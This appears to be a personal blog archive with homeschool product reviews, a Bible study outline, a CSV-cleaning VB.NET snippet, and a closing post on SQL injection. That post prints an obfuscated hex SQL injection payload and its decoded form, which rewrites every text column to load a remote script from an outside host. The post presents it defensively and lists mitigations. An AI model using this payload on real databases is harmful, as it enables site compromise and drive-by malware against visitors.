LaRocque Family

TOS Planner Advertisement

36 Year Old Mom of 6 Organizes her Life in a Weekend!

 

 

 

With the purchase of the new 2010 Planner from The Old Schoolhouse, you too could make the same (seemingly outrageous) claim! Truly a MUST HAVE for every hom

• Some of what you can expect with this purchase:

• Forms galore for use in school and in the home
• Expert time saving tips
• Report card generator
• Chore lists and tips
• Gardening plans
• Several different calendar formats for 2010 - 2013
• Forms for long term and short term goals

Best of all, with a pricetag of just under $40, it is well within budget for almost any homeschool family. No need to search high and low when everything you need to organize your home and school day, week, month and year is included. In fact, if you are into REALLY long term planning you can plan out all 12 years of school for your child(ren).

So, head to the beach, bring along The Old Schoolhouse Planner and come back organized.

 

Buy NOW!

(Did I mention this planner takes up ZERO room in your home? You can store everything on your computer unless you choose to print something out.)

 

 I was given this 2010 planner as part of a contest for an advertisement for The Old Schoolhouse Planner.

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Travel Kit review

The Old Schoolhouse Travel Kits: a Simple Way to Bless Others is an informative guide to prepare travel kits . A travel kit is assembled with items meant to fill the time and make the trip go faster for children. In turn this should make the trip less stressful and more fun for the adults as well.

 

When I was a child, my family traveled a lot.  One fond memory is a time someone gifted us with a travel kit when I was about 10. The kit given to us was a large ball of yarn. We unwound  a section at certain times until we came to a joke or an idea for a game or a piece of candy. It was a great memory, a lot of fun and a very special gift.

 

So, I was very interested to review this Travel Kit ebook that is produced by The Old Schoolhouse (TOS). TOS offers a large selection for the homeschooler through their store.

 

The 93 pages initially intimidated me a little. I also doubted I would be organized enough to pull it off. However, the clear layout, simple instructions and readability made this review easy . The guide includes great suggestions of what to pack and how to pack an entertaining kit  for your family or another.  The more ideas I read and pictures I saw, the more interested I became in assembling my own travel kit.  I ended up with so many ideas and I found myself on the lookout for items to add to my travel kit collection everywhere I went.

 

I assembled my kit for a big trip we plan to take in the fall. Originally, my thought was to use items from around the house or collect small items for  free. However… I started browsing  websites geared towards teachers. Needless to say, I got a little carried away. My theme was animals. Each kit I make for my own family will be a different theme.

 

 If you are creative, I am sure, it would be possible  to assemble  a kit without any extra expense. Books, CDs and DVDs can be borrowed from a library ,  activity sheets  can be printed from the web, and collecting little toys or making small items wouldn’t be too hard. Snacks can be made instead of bought. I found it is important to plan ahead for the maximum you want to invest before beginning.

 

Since I purchased extra items, I hope this means I can quickly assemble kits in the future. It is my hope to send kits off with friends when they travel as well.  My plan is to prewrap all items I plan to use in the kits and place in labeled grocery bags so I know what is in each. I think my children will be slightly less likely to get into the gifts ahead of time if they are already wrapped.  

 

 I suggest - if you make a kit for someone else- that you  make  a checklist for the adults before planning the kit. For instance: Will the family take scheduled breaks? Will those breaks be at rest areas? Are the children allowed to chew gum? Does the family eat snacks in the care?  Are there any allergies? Are markers and crayons OK? Also, of course, be careful about small pieces if toddlers or infants are in the car.

 

I did enjoy this ebook and am glad for the chance to review it. It is not what I would  consider to be "simple", as claimed in the title . For me, the word "simple" implies something that can be thrown together quickly. That seems unlikely for these travel kits.  I guess that is partly because I do not routinely keep snacks, candy and  toys available.

 

 $12.95 is more inline with what I would pay for a hard bound book with this content.  So, the price is high for me. Some of what is included seems self explanatory as well. So, the length doesn't seem completely justified. I do recommend this ebook, however. Obviously, there are distinct advantages to an ebook. I did not print it out because I did not find necessary in this case.

 

This ebook was given to me free of charge in exchange for my honest review.

 

Update: Last weekend (7/24) I sent my first travel kit off with a family who came to visit on their way to somewhere else. The Mom thought it was a great idea. I hope to hear soon if it made the trip go easier or not.

 

 

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Travel the World Review

I have come to expect a certain quality from The Old Schoolhouse. This module - Travel the World- doesn't disappoint.  It is the module for June 2010 from the 2009 Schoolhouse  planner.

 

For the cost of $7.95, this unit study seems very thorough and cost effective. The way we personally used the module was in parts and pieces. This module can be purchased separately as a single unit. Alternately, the entire Schoolhouse Planner can be purchased.

 

 Often we will work a unit from start to finish. However, we are not currently back to a full load of school. So, I printed all the activities to be used on trips as time fillers. I didn't print out the rest of the module in its entirety for my children, but did print it out in 1/2 size because I found it easier for me to review it that way. I like the flexibility of an e-book and the ease of storage. I have so many books and not enough books shelves anyway. Also, there are many internet links in the module that would be lost if used in a print out fashion. When I read the info to my children, they colored the lapbook pages. They came to view my computer when I looked up a link.

 

We are working on assembling the lapbook. My children enjoy making lapbooks. We are used to assembling lapbooks along with a book. This time we will have to use other books and resources to fill in some of the information.  However, this will also allow us to add to the book throughout the year.

We plan on adding information from the countries we read about during the year.

 

There is a great variety offered in this module - everything from copywork in print and cursive to songs and coloring sheets.

 

I found this module to be primarily geared towards 2nd - 7th grade. However, there is supplemental material that would make it applicable for older grades as well. My older children often help their younger siblings with projects. If a particular child needs reinforcement in a certain subject, then they are usually the one assigned to the task.  I am the one who needs the most help in the area of Geography.

 

This module was easy to use, attractive and useful. I highly recommend purchasing  this unit. Many other units are available  on The Old Schoolhouse website.

 

This module was given to me for free in exchange for my honest review.

 

 

 

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Reviews for The Old Schoolhouse Magazine

I am VERY excited to be chosen again to review for the TOS Crew. TOS stands for The Old Schoolhouse. TOS is a wonderul magazine packed with a variety of articles and offers for homeschoolers. I have found the magazine to be very helpful to me in my years as a homeschooler. I used to borrow them from a friend, but eventually subscribed. I was on the review crew a couple of years ago. This year I will be reviewing items geared toward the 7 - 12th grade ages. I will be teaching 2 children in that age range and 3 in the elementary range. Our oldest son graduated this past May. It was/ is a truly bittersweet experience.

Anyway, back to my main post!!

Below is a list of companies I might have the opportunity to reviewi as part of the Older Crew (I have been told this is *not*  because of my age , but the reviews will mostly be for 7 - 12th grade! )

I have never reviewed items from these companies before. I am looking forward to it!

Whatever items I do get the chance to review are being given to me free in exchange for my honest opinion of the product.

 

Vantage Learning

New Monic Book

Zoe and Sozo Publishing

Professor in a Box

The Write Foundation

Homeschool Programming

 

 

Now, here is the list of companies not necessarily targeted towards the Highschool ages. I have never heard of some of these. A couple I have heard of or reviewed before. I am very excited about all of these and hope to be chosen to review. A couple I wasn't sure I had any interest in. However, I checked out the websites of each and am interested in learning more!  This should be a fun year!

 

Time 4 Learning 

Math Essentials

Speekee / Lingua4Ltd

Schleich Action Figures

LanSchool Technologies

Digital Frog

GreeknStuff

Soli Deo Gloria Resources

Buckets - O - Fun

Collectorz

Bright Ideas Press

Master Innovations

SmartKids Innovations

Institute for Excellence in Writing

ALEKS

Positive Action for Christ

North Start Games, LLC

Zeezok / Book Peddler

 

Please check back throughout the year! I will post about each company I have the opportunity to review.

Krista LaRocque

 

 

 

 

 

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How to clean embedded quotes from CSV files with line breaks

I built this to use within an SSIS import:

    Dim blnLastFullLine As Boolean = False
    Dim blnThisFullLine As Boolean = False

    Public Sub Main()
        oneFile("file.csv")
        Dts.TaskResult = Dts.Results.Success
    End Sub

    Function oneFile(ByVal file As String) As String
        Dim sReader As New System.IO.StreamReader(file)
        Dim sWriter As New System.IO.StreamWriter(Replace(file, ".csv", "Clean.csv"))
        Do
            sWriter.WriteLine(fixQuotes(sReader.ReadLine()))
        Loop Until sReader.Peek = -1
        sWriter.Close()
        sReader.Close()
    End Function

    Function fixQuotes(ByVal str As String) As String
        Dim delim As String = """"                      ' "
        Dim qiStr As String = Chr(34) & "," & Chr(34)   ' ","
        Dim doubleQuote As String = Chr(34) & Chr(34)   ' ""
        Dim strStart, strEnd As String
        strStart = ""
        strEnd = ""
        If Left(str, delim.Length) = delim And Left(str, qiStr.Length) <> qiStr And blnLastFullLine Then
            str = Right(str, str.Length - delim.Length)
            strStart = delim
        End If

        If Right(str, 2) = "," & delim Then
            If Right(str, 3) = qiStr Then
                blnThisFullLine = False
            Else
                blnThisFullLine = True
            End If
        Else
            If (Right(str, 2) = doubleQuote And Right(str, 3) <> "," & doubleQuote) And Right(str, 3) <> delim & doubleQuote Then
                blnThisFullLine = False
            Else
                blnThisFullLine = True
            End If
        End If


        If Right(str, delim.Length) = delim And Right(str, qiStr.Length) <> qiStr And blnThisFullLine Then
            str = Left(str, str.Length - delim.Length)
            strEnd = delim
            blnLastFullLine = True
        Else
            blnLastFullLine = False
        End If

        If str.Length > 2 Then
            str = Replace(str, qiStr, "|&|")
            str = Replace(str, Chr(34), """)
            fixQuotes = strStart & Replace(str, "|&|", qiStr) & strEnd
        End If
    End Function

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Biggest Loser Wii Game

My good friend and neighbor Kathy is having a giveaway for The Biggest Loser Wii Game . If you have been thinking about getting one and would like to enter, please go check it out!! 

Kathy and I have been encouraging each other to exercise more. This is a great workout and can be modified for any fitness level.

Please go by and check out her blog at the link above and enter to win. Krista

 

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Believe It

Healing of the Ruler’s Son
John 4:43-54

Unbelievable

• Who is this Jesus?
  John 3:2; 16-17
• How did he turn water into wine?
  John 2:9
• What’s up with destroying the temple?
  John 2:18-22
• Why in-all-that-is-Jewish did He stay for a few days in Samaria?
  John 4:34,42

He Believed

• Jesus can help!
  The ruler came to Jesus John 4:47
• Jesus gives hope, even when no results are apparent
  The ruler headed home John 4:50
• Jesus is trustworthy, able to bring eternal life
  The father and all his family believed in Jesus John 4:53

Believe It – Or Not?

• Believe the signs
  John 10:37-38 vs. John 12:37
• All things are possible to those who believe
  Mark 9:23-24 vs. John 15:5
• There is no other way to be saved from sin
  John 8:24 vs. John 3:36

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Prevent SQL Injection Attacks that have no quotes

I encountered an ingenious new-to-me SQL attack on one of my sites recently. One of the basic protections again SQL injection is to remove/replace single quotes. But what about when the malicious code doesn't have any? (Line breaks added)

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006_
300680061007200280032003500350029002C00400043002000760061007200630068006_
10072002800320035003500290020004400450043004C004100520045002000540061006_
2006C0065005F0043007500720073006F007200200043005500520053004F005200200046_
004F0052002000730065006C00650063007400200061002E006E0061006D0065002C006_
2002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006_
500630074007300200061002C0073007900730063006F006C0075006D006E00730020006_
200200077006800650072006500200061002E00690064003D0062002E006900640020006_
1006E006400200061002E00780074007900700065003D00270075002700200061006E006_
4002000280062002E00780074007900700065003D003900390020006F007200200062002_
E00780074007900700065003D003300350020006F007200200062002E007800740079007_
00065003D0032003300310020006F007200200062002E00780074007900700065003D003_
10036003700290020004F00500045004E0020005400610062006C0065005F00430075007_
20073006F00720020004600450054004300480020004E004500580054002000460052004_
F004D00200020005400610062006C0065005F0043007500720073006F007200200049004_
E0054004F002000400054002C004000430020005700480049004C0045002800400040004_
60045005400430048005F005300540041005400550053003D003000290020004200450047_
0049004E00200065007800650063002800270075007000640061007400650020005B00270_
02B00400054002B0027005D00200073006500740020005B0027002B00400043002B00270_
05D003D0072007400720069006D00280063006F006E00760065007200740028007600610_
0720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270_
027003C0073006300720069007000740020007300720063003D0068007400740070003A0_
02F002F006100300076002E006F00720067002F0078002E006A0073003E003C002F00730_
0630072006900700074003E0027002700270029004600450054004300480020004E004500_
580054002000460052004F004D00200020005400610062006C0065005F004300750072007_
3006F007200200049004E0054004F002000400054002C0040004300200045004E00440020_
0043004C004F005300450020005400610062006C0065005F0043007500720073006F00720_
020004400450041004C004C004F00430041005400450020005400610062006C0065005F00_
43007500720073006F007200 AS NVARCHAR(4000));
EXEC(@S);

The value inside translates to:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://a0v.org/x.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

So, use some more methods to fight:

• Use prepared, parameterized requests in your code, with forced data types
• Strip querystring/post parameters down to just the length you need
• Give read-only connection access to read-only statements

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